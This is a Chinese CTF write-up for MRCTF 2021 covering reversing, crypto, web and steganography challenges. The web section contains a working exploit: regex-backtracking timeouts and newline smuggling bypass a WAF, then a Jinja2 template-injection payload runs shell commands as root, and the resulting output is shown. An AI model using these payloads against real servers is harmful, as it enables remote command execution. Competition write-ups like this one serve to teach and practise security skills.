CTF | 2021 MRCTF WriteUp


引言

2021 MRCTF

https://2021.mrctf.fun/

比赛时间

2021-04-10 9:00 - 2021-4-11 21:00

比赛规则

单人解题赛

前几天看北邮 天璇Merak 战队整了个招新赛,喵喵也来随便玩玩好了!

什么鬼招新赛嘛,怎么巨大多 check in 题目,然而喵喵并不能 check in……

喵呜,题目还是比较顶的,喵喵确实也不会做什么,大哭。

RE

Real_CHECKIN

直接丢进 IDA 发现只有一个 entry,看来是加壳了。

丢进 FUPX 里一看,果然加了 UPX 壳。

脱一下壳,再扔进 IDA。

tvjdvez7D0vSyZbnzv90mf9nuKnurL8YBZiXiseHFq== 直接拿去 base64 解码发现是乱码。看来是魔改的 base64 了。

发现编码表里 大小写反过来了……草!

于是大小写反过来,改一下编码表,再拿去 base64 解码就能拿 flag 了。

MRCTF{wElc0Me_t0_MRCTF_2o21!!!}

Extensive Reading:

爆破非默认Base64编码表

Crypto

friendly_sign-in

ez sign-in, just come and get the flag!
nc node.mrctf.fun 10007

Mirrors:

  • host, port = ‘nairw.top’, 4800

https://drive.buptmerak.cn/s/BTx9QNNskyKwnYH

源码

from Crypto.Util.number import *
from hashlib import sha512
from random import choices
from flag import flag
import string


Bits = 512
length = len(flag) * 8


def proof_of_work() -> bool:
    alphabet = string.ascii_letters + string.digits
    head = "".join(choices(alphabet, k=8))
    print(f'POW: SHA512("{head}" + ?) starts with "11111"')
    tail = input().strip()
    message = (head + tail).encode()
    return sha512(message).hexdigest().startswith("11111")


def check_ans(_N, _x) -> bool:
    check = 0
    for i in range(len(_N)):
        check += _N[i] * _x[i]
    return check == 0


def main():
    if not proof_of_work():
        return
    print("Welcome to MRCTF2021, enjoy this friendly sign-in question~")
    flag_bits = bin(bytes_to_long(flag.encode()))[2:]
    N = [getPrime(Bits) for _ in range(length)]
    print('N =', N)
    X = []
    for i in range(length):
        x = [int(input().strip()) for _ in range(length)]
        if x in X:
            print('No cheat!')
            return
        if x.count(0) > 0:
            print('No trivial!')
            return
        if not check_ans(N, x):
            print('Follow the rule!')
            return
        X.append(x)
        print('your gift:', flag_bits[i])


main()

其实这个思路很简单,只需要生成

  • 不重复
  • 每个数都不为0
  • 对应位置数字的乘积累加和为0

这样的序列就可以了。

那么怎么生成呢?

其实只需要任意 (length/2) 对数字交换一下,正负号交替一下,就能实现乘积累加和为 0 了。

那怎么不重复呢?

喵喵想了有一段时间,到最后一想,直接随机产生下标,把映射关系存一下,要是已经存在了冲突了就重新产生就完事了呀!

另外有个麻烦的地方就是交互吧,输入 224*224 个数字,跑起来都挺久的……

Exp:

from pwn import *
from Crypto.Util.number import *
from hashlib import sha512
from random import choices
import string
from tqdm import tqdm
from pwnlib.util.iters import mbruteforce

sh = remote('nairw.top', 4800)
context.log_level = 'debug'


def proof_of_work(sh):
    sh.recvuntil("SHA512(\"")
    head = sh.recv(8)  # .decode('utf-8')
    print("head:", head)
    sh.recvuntil('with \"11111\"')
    for a in tqdm(range(0x30, 0x7f)):
        for b in range(0x30, 0x7f):
            for c in range(0x30, 0x7f):
                for d in range(0x30, 0x7f):
                    rest = chr(a) + chr(b) + chr(c) + chr(d)
                    m = (head.decode('utf-8') + rest).encode("utf-8")
                    if sha512(m).digest().hex().startswith("11111"):
                        print('\nrest:', rest)
                        sh.sendline(rest)
                        # sh.recvuntil('again...God bless you get it...')
                        return
    # proof = mbruteforce(lambda x: sha512((head + x).encode('utf-8')).hexdigest().startswith(
    #     "11111"), string.ascii_letters + string.digits, length=4, method='fixed')
    # print('rest:', proof)
    # sh.sendline(proof)


def generate_idx(length):
    """
    随机生成对换的下标 dict
    """
    idx_list = list(range(length))
    idx_result = {}
    for _ in range(length//2):
        while True:
            r = choices(idx_list)[0]
            t = choices(idx_list)[0]
            if r != t:
                # print(r, t)
                # 一半正 一半负
                idx_result[r] = [t, 1]  # 正负号
                idx_result[t] = [r, -1]
                idx_list.remove(r)
                idx_list.remove(t)
                break
    return idx_result


def main():
    proof_of_work(sh)
    sh.recvuntil("question~")
    sh.recvuntil("N = ")
    tmp = sh.recvuntil("]")
    tmp = tmp.decode('utf-8').strip()
    tmp = eval(tmp)
    print('====================')
    print(tmp)
    print("flag len:", len(tmp) // 8)
    # 28 bits
    N = tmp
    length = len(N)
    print(length)

    idx_history = []
    flag_bits = ""
    for i in range(length):
        idx = generate_idx(length)
        while idx in idx_history:
            idx = generate_idx(length)
        idx_history.append(idx)

        for j in range(length):
            try:
                t = N[idx[j][0]] * idx[j][1]
            except IndexError:
                print(idx, i, j)
                raise Exception
            payload = str(t)
            sh.sendline(payload)

        sh.recvuntil('your gift: ')
        x = sh.recv(1).decode('utf-8')
        print(f"=======> flag_{i+1}: {x}")
        flag_bits += x

        with open('flag.txt', 'a', encoding='utf-8') as f:
            f.write(f"{i+1}: {x} ")
            f.write(f"{flag_bits}\n")

    print(flag_bits)
    # flag_bits = "1001101010100100100001101010100010001100111101101100101010000000011001101111001010111110110001101101000001100110110001101101011010111110011000101101110010111110111000001110010001100000110001001101100001100110110110101111101"
    flag_int = int(flag_bits, 2)
    flag = long_to_bytes(flag_int)
    print("=====> flag:", flag)


if __name__ == '__main__':
    main()

最后得到的 flag bits 为

1001101010100100100001101010100010001100111101101100101010000000011001101111001010111110110001101101000001100110110001101101011010111110011000101101110010111110111000001110010001100000110001001101100001100110110110101111101

转换为 bytes

MRCTF{e@3y_ch3ck_1n_pr0bl3m}

Web

wwwafed_app

I bought a WAF for my vulnerable app, and I think it’s unbreakable now.

node.mrctf.fun:15000

/waf 源码:

import re,sys
import timeout_decorator

@timeout_decorator.timeout(5)
def waf(url):
	# only xxx.yy-yy.zzz.mrctf.fun allow
	pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
	if re.match(pat,url) is None:
		print("BLOCK",end='') # 拦截
	else:
		print("PASS",end='') # 不拦截

if __name__ == "__main__":
	try:
		waf(sys.argv[1])
	except:
		print("PASS",end='')

可以注意到如果超时了的话 except 里也是 PASS。

另外发现 server 是 gunicorn,源码也是 python,盲猜是 flask 模板注入。

发现貌似可以正则回溯超时+空行绕过。

xadsfadsfadsfas.dfasdf-asdf-adsfadsf.lajds.-92341012dsfasf8.5.mrctf.fun
{{161*1651}}

eGFkc2ZhZHNmYWRzZmFzLmRmYXNkZi1hc2RmLWFkc2ZhZHNmLmxhamRzLi05MjM0MTAxMmRzZmFzZjguNS5tcmN0Zi5mdW4Ke3sxNjEqMTY1MX19

GET /api/spider/eGFkc2ZhZHNmYWRzZmFzLmRmYXNkZi1hc2RmLWFkc2ZhZHNmLmxhamRzLi05MjM0MTAxMmRzZmFzZjguNS5tcmN0Zi5mdW4Ke3sxNjEqMTY1MX19

返回

/

{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls -al /")["read"]()}}

http://node.mrctf.fun:15000/api/spider/eGFkc2ZhZHNmYWRzZmFzLmRmYXNkZi1hc2RmLWFkc2ZhZHNmLmxhamRzLi05MjM0MTAxMmRzZmFzZjguNS5tcmN0Zi5mdW4Ke3siIlsiXHg1Zlx4NWZjbGEiInNzXHg1Zlx4NWYiXVsiXHg1Zlx4NWZiYSIic2VceDVmXHg1ZiJdWyJceDVmXHg1ZnN1YmNsYSIic3Nlc1x4NWZceDVmIl0oKVs0MDhdWyJceDVmXHg1ZmluIiJpdFx4NWZceDVmIl1bIlx4NWZceDVmZ2xvIiJiYWxzXHg1Zlx4NWYiXVsiXHg1Zlx4NWZidWlsdGluc1x4NWZceDVmIl1bIlx4NWZceDVmaW1wb3J0XHg1Zlx4NWYiXSgib3MiKVsicG9wZW4iXSgibHMgLWFsIC8iKVsicmVhZCJdKCl9fQ==


访问'xadsfadsfadsfas.dfasdf-asdf-adsfadsf.lajds.-92341012dsfasf8.5.mrctf.fun
total 88
drwxr-xr-x   1 root root 4096 Apr 11 11:55 .
drwxr-xr-x   1 root root 4096 Apr 11 11:55 ..
-rwxr-xr-x   1 root root    0 Apr 11 10:05 .dockerenv
dr-xr-xr-x   1 root root 4096 Apr 11 10:05 app
drwxr-xr-x   1 root root 4096 Mar 30 23:04 bin
drwxr-xr-x   2 root root 4096 Mar 19 23:44 boot
drwxr-xr-x   5 root root  340 Apr 11 10:05 dev
drwxr-xr-x   1 root root 4096 Apr 11 10:05 etc
-rw-r--r--   1 root root    2 Apr 11 11:55 flag
drwxr-xr-x   2 root root 4096 Mar 19 23:44 home
drwxr-xr-x   1 root root 4096 Mar 30 23:04 lib
drwxr-xr-x   2 root root 4096 Mar 29 00:00 lib64
drwxr-xr-x   2 root root 4096 Mar 29 00:00 media
drwxr-xr-x   2 root root 4096 Mar 29 00:00 mnt
drwxr-xr-x   2 root root 4096 Mar 29 00:00 opt
dr-xr-xr-x 507 root root    0 Apr 11 10:05 proc
drwx------   1 root root 4096 Apr 11 10:05 root
drwxr-xr-x   3 root root 4096 Mar 29 00:00 run
drwxr-xr-x   1 root root 4096 Mar 30 23:03 sbin
drwxr-xr-x   2 root root 4096 Mar 29 00:00 srv
dr-xr-xr-x  13 root root    0 Apr 11 10:05 sys
drwxrwxrwt   1 root root 4096 Apr 11 10:05 tmp
drwxr-xr-x   1 root root 4096 Mar 29 00:00 usr
drwxr-xr-x   1 root root 4096 Mar 29 00:00 var
'失败!

whoami ==> root

读 flag

xadsfadsfadsfas.dfasdf-asdf-adsfadsf.lajds.-92341012dsfasf8.5.mrctf.fun
{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat /flag")["read"]()}}

MRCTF{eeeeeeeeeeeeeeeeeeeeez_NFA-WAF_8ypaS5!}

读一下题目源码 start.py

from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os

app = Flask(__name__)

@app.route("/")
def index():
	return render_template('index.html')

@app.route("/waf")
def wafsource():
	return open("waf.py").read()

@app.route("/source")
def appsource():
	return open(__file__).read()

@app.route("/api/spider/<url>")
def spider(url):
	url = base64.b64decode(url).decode('utf-8')
	safeurl = shlex.quote(url)
	block = os.popen("python3 waf.py " + safeurl).read()
	if block == "PASS":
		try:
			req = requests.get("http://"+url,timeout=5)
			return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
		except:
			return Template("访问{}失败!".format(safeurl)).render()
	else:
		return Template("WAF已拦截,请不要乱输入参数!").render()

if __name__ == "__main__":
	app.run(host="0.0.0.0",port=5000,debug=True)

啊 有 /source 源码泄露的啊((下次做题先扫一扫好了

讲个笑话,这题打的时候最开始还读到有 flag 的,然后发现内容是 1

再一读发现没东西了。再一看根目录,flag 你去哪了……

问了问出题人

噢对,root 权限 xswl!

Extensive Reading:

PHP利用PCRE回溯次数限制绕过某些安全限制

ez_larave1

http://node.mrctf.fun:10012/

https://drive.buptmerak.cn/s/afGBmP8zjg47orG

根据修改时间,看一看最近修改的文件。

Laravel 版本用的是 5.7.29,查了查发现有个 RCE。

然后这里的 PendingCommand.php__destruct() 里的 run 给注释掉了。

__destruct

之后再参考下面的几篇

Laravel入坑之CVE-2019-9081复现分析

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

找个能执行代码的地方,执行这个 run 就好。

(后面再来复现,咕咕咕

Misc

plane

This plane cannot fly~~~

Hint:

  • plane:721x-402y+9110z-1197483=0

![(153, 15, 120),(51, 104, 132),(229, 38, 115)](CTF_2021MRCTF/(153, 15, 120),(51, 104, 132),(229, 38, 115).png)

图片好花啊,看了一下发现在 blue plane 第7层存在奇怪的东西。

然而提取出来啥也看不出。

根据题目 hint,估计是要根据 721x-402y+9110z-1197483=0 这个空间平面来划分图像空间,一半是黑,一半是白。

721x-402y+9110z-1197483=0

按照题目本意的话,应该是需要根据 (153, 15, 120), (51, 104, 132), (229, 38, 115) 这三个坐标来求出所给的平面的,不过即使给出来了当时还是没整出来((

写个脚本。

# coding: utf-8
"""
MRCTF2021 Misc plane
MiaoTony
"""

from PIL import Image


im = Image.open('(153, 15, 120),(51, 104, 132),(229, 38, 115).png')
rgb_im = im.convert('RGB')

print(rgb_im.size)
# (400, 400)
width = rgb_im.width
height = rgb_im.height

im2 = Image.new('RGB', rgb_im.size)

for j in range(height):
    for i in range(width):
        r, g, b = rgb_im.getpixel((i, j))
        if 721*r-402*g+9110*b-1197483 > 0:
            im2.putpixel((i, j), (255, 255, 255))

# im2.show()
# im2.save('test1.png')

得到一张图片,和 blue plane 7 很类似。(就是模仿 blue plane 7 确定的黑白)

放大来看是这样的。

放大效果

图片 纵向方向上 可以发现分了很多层,猜想是把二进制的 ASCII 编码到了黑白像素中了。

根据最右边纵向可以估计是 10000110,不对,反过来,01100001,正好是 ASCII 里的 a。于是需要上下反过来解码。

而且还是从上到下,一列有50个字符,每个字符从上到下是低位到高位。

(复现的时候其实这里试了好多次才发现的……

然后写个脚本解码吧。(接上面的)

data = ''
for i in range(width):
    cnt = 0
    x = ''
    for j in range(height):
        if im2.getpixel((i, j))[0] == 0:
            x = '1' + x
        else:
            x = '0' + x
        cnt += 1
        if cnt % 8 == 0:
            # print(x)
            ch = chr(int(x, 2))
            # print(ch)
            data += ch
            x = ''
print(data)

with open('result.txt', 'w', encoding='utf-8') as f:
    f.write(data)

处理得到

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY1ZadGRHRk5SbFowWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwV1JWcHlWVEJhVDJOc2NFaGpSbEpUVmxoQ1dsWXhXbE5TTWxGNVVtdGthbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUld4aFUwaENTRlpxU2tabFZsWlpXa1p3YkdFelFrbFhXSEJIVkRKU1YxWnVVbWhTYXpWeldXeG9iMWRHV25STlNHUnNVakJzTkZVeWRHdFhSMHBJVld4c1dtSkhhRlJXTUZwVFZqSkdSbFJzVG1sU2JrSmFWMnhXWVZReFdsaFRiRnBZVmtWd1YxbHJXa3RTUmxweFVWaG9hMVpzV2pGV01uaGhZVWRGZUdOR2JGaGhNVnBvVmtSS1QyTXlUa1phUjJoVFRXNW9WVlpHWTNoaU1rbDRWMWhvV0dKRk5WVlVWM1J6VGtaVmVXUkhkRmhTTUhCSlZsZDRjMWR0U2toaFJsSlhUVVp3VkZacVNrZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JUVW14d2VGVldhRzloTVZwelYycEdWMDF1YUdoWlZXUkdaVWRPUjJKR2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTlc5V1ZscEhXVE5vYVUxcmJEUldNV2h2VjBkS1JrNVdWbFZXTTFKNlZHdGFWbVZYVWtoa1JtaFRUVWhDU2xac1pEUmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZkR1NsWmpSV3hYWWxoQ1RGUnJXbEpsUm1SellVWlNhRTFzU25oV1Z6QjRUa2RHUjFaWVpHaFNWVFZWVlcxNGQyVkdWblJOVldSV1RXdHdWMWxyVW1GWFIwVjRZMGhLV2xaWFVrZGFWV1JQVTBVNVYxcEhhR2hOU0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YjFWcVNtOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaERUbXhrVlZGdFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaWmQwMVdXbWxsYTFwWVdXeG9RMU14VWxkYVJWcHNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdXR3hyVWtWS1dGUldXbmRsVm10M1YyNWtXRkl3VmpSWk1GSlBWakpHY2xkcmVGZGhhM0JRVlRGa1MxSXhjRWRhUms1WFYwVktNbFp0TVRCVk1VMTRWVmhzVlZkSGVGWlpWRVozWWpGV2NWUnJUbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaGpiVXBGVld4a1RsWXlhREpXTVZwaFV6RkplRlJ1VG1GU2JGcFlXV3RhZDA1c1draGxSMFphVm0xU1IxUnNXbUZWUmxwMFlVWlNWVlpYYUVSVk1uaGhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRnFWbGRTTTJob1ZrUktSMVl4VG5WVmJFSlhVbFJXV1ZaR1l6RmlNV1JIWWtoR1ZHRXhjSE5WYlRGVFYyeGtjbFpVUmxkTlZuQjZXVEJhVjFkR1dYcFZia3BYVmtWYWVsWnFSbGRqTVdSellVZHNWMVp1UWxGV2ExcGhXVmRSZVZaclpGZFhSM2h5Vld0V1MxZEdVbGRYYm1Sc1ZtMTBNMVl5Tld0WFJrbDNWbXBTV2sxR1NsQldha3BIWTJ4a2NtVkdaR2hoTTBKUlZsUkdhMU14U1hoalJXUmhVbXMxV0ZZd1ZrdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZsWmtTR1ZHV2xwV1JWb3pXV3BHVjJOV1VuSlViR1JUWWxob05WWnRNREZoTVZsNFYyNU9hbEpGU21oV2JHUk9UVlphV0dNemFGaFNiRm94V1RCYWExUnNXWGxoUkVwWFlXdEtjbFY2Umt0amF6VlhXa1phYVZKc2NGbFdSbEpMWWpGT1YxZHJhR3hTTUZwWVZGZDRTMU5XV2xoa1J6bG9UVlZzTlZsVmFFTldiVXBJWVVWT1lWSkZXbWhaZWtaM1VsWldkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMFpVaGtUazFYZUZkV01qVnJWVEpLU1ZGcmFGZFNNMmhVVmxSS1JtVnNSbkZXYkdSVFRUSm9iMVpyVWt0U01WbDRWRzVXVm1KRlNsaFZiRkpYVjFaYVIxbDZSbWxOVjFKSVdXdG9SMVpIUlhoalNFNVdZbFJHVkZZeWVHdGpiRnBWVW14a1RsWnVRalpYVkVKaFZqRmtSMWRZY0ZaaWEzQllWbXRXWVdWc1duRlNiR1JxVFZkU2VsbFZaSE5XTVZwMVVXeEdWMkV4Y0doWFZtUlNaVlphY2xwR1pGaFNNMmg1VmxkMFYxTXhaRWRWYkdSWVltMVNjMVp0TVRCTk1WbDVUbGQwV0ZKcmJETldiWEJUVjJzeFIxTnNRbGRoYTNCSVdUSjRhMk50VmtkYVJUVlhZbXRLU2xZeFVrcGxSazE0VTFob2FsSlhhSEJWYlRGdlZrWmFjMkZGVGxSTlZuQXdWRlpTUTFack1WWk5WRkpYWWtkb2RsWXdXbXRUUjBaSFlVWndhVmRIYUc5V2JURTBZekpOZUdORmFGQldiVkpVV1d0V2QxZHNXa2hsUjNCUFZteHNORll5TlU5aGJFcFlZVVpzVjJFeFZYaGFSM2h6VmpGYVdXRkhjR2xXV0VKSFZteGtOR0V4VW5OWFdHeG9Va1Z3V0ZsWGRFdGpiRlkyVW10MGFtRjZWbGhYYTFwcllWWktjMk5HYkZkU2JFcElWWHBCTVdNeFpISmhSM1JUVFVad1dWZFhlR0ZaVm1SWFYyeG9hMUo2Ykc5VVZsWjNUVVpzVmxkc1RsZFdiSEJaV1ZWV1UxWnJNWFZoUjJoYVpXdGFNMVZzV2xka1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5GUmJVWlhZa1p3TUZwVmFHdFVhekZZWlVaa1YwMXFWbkpXVkVwTFUxWkdjbHBHVms1V2JGVjRWMVphWVZNeFpGZFNiR3hoVW0xb2NGVnRlSGRpTVZweVZXdDBVMDFXYkRSV1Z6VkxWMGRLUjFOdVFsZGlSbkF6VmpGYVlWSXhiRFpTYld4T1ZqRktTVmRYZEc5U01WcElVbGhvYWxORk5WZFpiRkpIVmtaWmVXVkhkR3BpUm5CV1ZXMTRhMVJzV25WUmFscFlWa1ZLYUZacVJtdFNNV1JaWTBaYWFXRXpRbGxXYlhSWFdWZFdjMWR1UmxOaVIxSnhWRlprVTJWc2JGWmFTRTVYVFZad01WVlhlRWRXTWtWNFkwZG9XRlp0VWxOYVZscGhZMnh3UjFwR2FGTk5NbWcxVm14a01GWXhUWGhhUldSV1lrZFNXVmx0TVZOak1WcDBUVlJDVGsxV2JEVlViR1F3VjBaS2NtSkVUbGRpV0VKVVZqSnplRkl4VG5OUmJHUk9ZV3RhU0Zkc1dtRldNazV6WTBWb1UySkhVazlVVnpGdlUyeFplRlZyY0d4U2F6RTBWVEZvYjJGc1NsaGhTRUpXWWxSR2RsWnJXbUZqTWtaR1ZHeFNUbFp1UVhkV1JscFRVVEZhY2sxV1drNVdSa3BZV1d0a2IyUnNXWGRYYlhSVVVqQmFTRmxyV25kaFZtUklZVWM1VjJKVVJUQlpla3BQWXpKT1JtRkdRbGROTUVwVlYxZDBiMUV3TlVkWGJGWlVWMGRTVUZacVFuZFRWbFY1WkVjNVYySlZjRWxhVldSdlZqSktTRlZyT1ZWV2JIQjZWbXBHWVZkWFJraGpSMnhYVjBWS1NGWnRlR3RPUjBWNFZXNU9XRmRIZUc5VmExWjNWMFpTVjFkdVpHaFNiRmt5VlcxMGQySkdTbk5UYWtaWFVucEdTRlpVU2t0U01rNUhZa1pvVjAweFNtOVhhMUpDVFZkTmVGcElTbWhTTTJoVVZGVmFkMkZHV25STlNHaFdUVlUxV0ZZeU5WTmhNVW8yWWtjNVZWWnNXbnBVYkZwelZtMUdSbFJzWkdsV1dFSktWMVpXVjFReGJGZFRhMXBZWW10d1dGbFhkR0ZoUm5CR1ZsUldWMDFXY0hsVWJGcHJZVmRGZDFkWWNGZGlXR2h4V2tSQmVGWXhVbGxoUmxwWVVqSm9XbGRYTVhwTlZscFhZa2hLWVZKNmJGaFphMXAzWld4WmVVNVhkRlZoZWtaWVdUQm9jMVl3TVhGU2EyaGFWak5vYUZreU1VOVNWa1owVW14T1YwMVZXWHBXYlhoVFV6RktkRlp1VGxOaVIzaG9WVzB4YjJOR1ZuUmxTR1JwVFZkU1dGWlhkREJWTURGWFlrUlNWMUo2VmxoV2JHUkxWMGRHUms5V1ZsZGxhMW95Vm1wR1lXRXhXWGhXYmtwaFVqTlNUMWxVUm5kVFZscHhVMnBTVjAxV1ZqVlZNblJyWVd4T1JrNVdaRnBpUmtwSVZtdGFVMVl4WkhOWGJYaFhUVVJSZVZaWE1UUmlNVlY1VWxod1VtSlZXbGhXYlRGT1pVWnNjVkpzY0d4U2JWSjRWako0UzJGSFNrWmpSMmhZVm0xUmQxZFdXbk5XTWs1SFYyeG9hVkl4U25oV1JtUXdXVlpKZUZWWWFGaGlXRkp2VldwR1lXVnNXWGxqUjBaWFRVUkdXVlpXYUd0WFJscDBWV3hPWVZac2NHaFpNbmgzVWpGd1IyRkdUazVOYldjeFZtMTRhMDFHV1hoVVdHaGhVbGRTVjFsclpGTlhWbXgwVFZaT2FrMVdjREJhVldoUFZERmFkVkZzWkZwV1YxRjNWakJhU21ReVRrWmhSbkJPVW01Q01sWnFTbnBsUms1SFZtNVdXR0pIVWs5WlYzUmhVMFprYzFkdFJsZE5helY2V1RCV2IxVXlTa2hWYkdoVlZteGFNMVpYZUdGak1WWnlXa2RvVGxaVVJUQldWRVp2WWpKR2MxTnNhRlppVjJoWFdXeG9UbVZHV1hkWGJIQnJUVlp3ZVZwRlZURmhWa3AxVVZoa1YxSnNjRlJWVkVaaFkyc3hWMWRyTlZkU2EzQlpWbTB3ZUdJeVZuTlhiazVZWWxoU1ZWVnFSbUZUUmxsNVpVaGtWMDFWY0ZoWmFrNTNWMFpaZWxGcmFGZGhhM0JRVm1wR1YyUldUbk5XYld4VFRWVndWbFl4WkRSaU1rbDNUbFprV0dKc1NrOVZhMVpoWWpGU1YxZHVUazlTYkd3MVZHeFZOV0ZIU2taalJXUldUV3BHZGxacVNrdFRSbFp5VDFaV1YySklRbTlXYWtKclZHMVdkRkpyWkdoU2F6VndWVzB3TlU1R1dYaFZhMDVhVmpCV05GWlhOVTlYUm1SSVpVYzVWbUV4V2pOV01GcHpWMGRTUm1SSGNHbFNiR3Q1VmxjeE1FMUhSblJTYWxwWFlrZG9XVmxVUm5kaFJteFhWMnQwYWsxck5VaFphMXByVlRKS1JtTkZNVmhXTTBKSVZrUkdXbVZHY0VsVGJXaFRUVEpvVlZaR1ZtRmtNV1JYVjJ0a1lWSkdTbFZVVmxVeFYwWlplV1ZIT1doTlZXOHlXV3RqTlZaV1duTlhhazVWVmxad2VsWnRlR3RqTVZKeldrWmthVk5GU2xwV01WSkRZVEZKZUZkc1pGaGlhelZ4VldwS2IxbFdjRmhrUjBaT1RWWmFlbFl5ZUd0aE1VbDNUbFZrVldKR2NISldSM2hoVjBkUmVtTkdaR2xYUjJoVlZsaHdRbVZHVGtkVWJHeHBVbXMxYjFSWGVFdFdiR1JZVFZod1RsWnNjRmhaYTJoTFdWWktObUpHYUZwaE1YQXpXbGQ0V21WVk5WaGtSbFpvWld0YVdWZFVRbTlqTVZsM1RWaEdVMkV5YUdGV2FrNXZZVVpyZVUxVk9WTldhMW93VlcxNFQxWXdNVlpYV0hCWFlsaG9WRlY2Umt0a1JscDFWR3hPYVZJemFHOVdWekI0WWpKT1IxWnVVbXhUUjFKd1ZGWmtVMWRHV2xoa1JFSldUVVJHV0ZsclVsTldNVW8yVm14b1YySkhVa3hXTUdSSFVtczVWMVpzWkd4aE1XOTVWbTF3UjFsWFJYaFhXR2hYWW10d2FGVnFUbE5VTVd4VlVtNWtWRlpzY0hoVk1uQlRWakF4VjFacVZsWk5ibEp5V1ZkNFQxSnJOVmRhUm5CcFVtdHdTVlp0ZEdGVk1WbDRXa2hPV0dKWWFGaFVWVkpTWlZaYVdFMVVVbWhOVmtwNlZqSTFWMVZ0Um5OalJteFhZVEZhVEZsVldtRmpWa3AwWkVaT1RsWXhTWGhXYTJRMFZUSkdSazFZVW1oU2VteFlWbXBPVTFkR1pGZFhiazVYVFdzMVNGWXlNVWRWTVdSSFUyeGFWMkpVUmpaVVZtUlhZekpLUjFkdFJsTmxiWGhYVjFab2QxSXhXWGhoTTJSWVlsVmFXRlJYZEhkVFZscElZMFpPVjFZd1ZqVldWM2hQV1ZaYWMyTkhhRnBOYm1nelZXcEdkMUl5UmtkVWF6Vk9ZbGRqZUZadE1UUmhNbEY0VWxob2FWSnRhRlpaVkVwVFYwWnNkR1ZGZEdwTlZsWXpWMnRhVDJGck1WaGxTR3hYVFc1b2NsWkVSbUZrVmtaeldrWndWMVl4UmpOV2FrSmhVMjFSZVZScldtaFNia0pQVlcwMVEwMXNXbkZUYm5Cc1VtczFTVlZ0ZEdGaVJrcDBWVzA1V2xaRldqTlpha1poVjBVeFZWVnRhRTVoZWxWM1ZtMHhNR0V4YkZkVGJGWlhZa2RvWVZsc2FGTlVSbFY1WlVad2JGSnNXbmxaTUdRMFZUSkdObEpVUWxkV1JWcDJXV3BLUjJNeFRuTmhSbHBwVmpKb1dGZFhkR0ZUTVdSSFYydFdVMkpIVW5GVVYzUmhVakZhU0dWR1RsVmlSbkF4VlZab2ExWXhTbk5qUmxKV1ZrVmFhRmt5YzNoV01XUnlUbFprVTJFelFscFdNV1F3WVRKSmVWVnVUbGhYUjFKWldXeG9VMVpXVm5GUmJVWlVVbTE0VjFZeU5XdGhSbHAwVld0c1dsWlhUVEZXYWtwTFZsWktWVkZzY0d4aE0wSlFWMnhXYTFReFNuUlNhMlJTWWtkU2NGWnRkSGRXYkZsNFdrUkNWMDFzUmpSWGEyaFBWMGRGZVZWc2JGcGlSMmhFVmxWYVlXTldSblZhUmxKWFlrWlpNVmRyVm1wT1ZsbDVVMnhhYWxKWGVHaFdiR1JUWkd4YWNWTnJkRlJTYkZwNVZERmFWMVl5U2tsUmFscFhZbGhDU0ZkV1dtdFhSa3B5V2tkb1UyRjZWbmRXVnpCM1RsVTFSMWRZYUZaaE1EVmhWbXBDVjA1R1dsaE9WVGxZVW0xU1NWcFZZelZXYlVWNFYycE9WMDFHY0hwV01HUlRVbTFTU0dOSGJGTmlSM1ExVm14amQyVkZNVWRYV0dST1ZtMVNjVlZyVm1GV01WSllUbGM1VTFKc2NIaFZNblF3VmtaYWNsZHFSbGhoTVhCeVdWWmFhMUl4VG5OaVJtUnBWa1ZKTUZac1kzaFdNVWw0W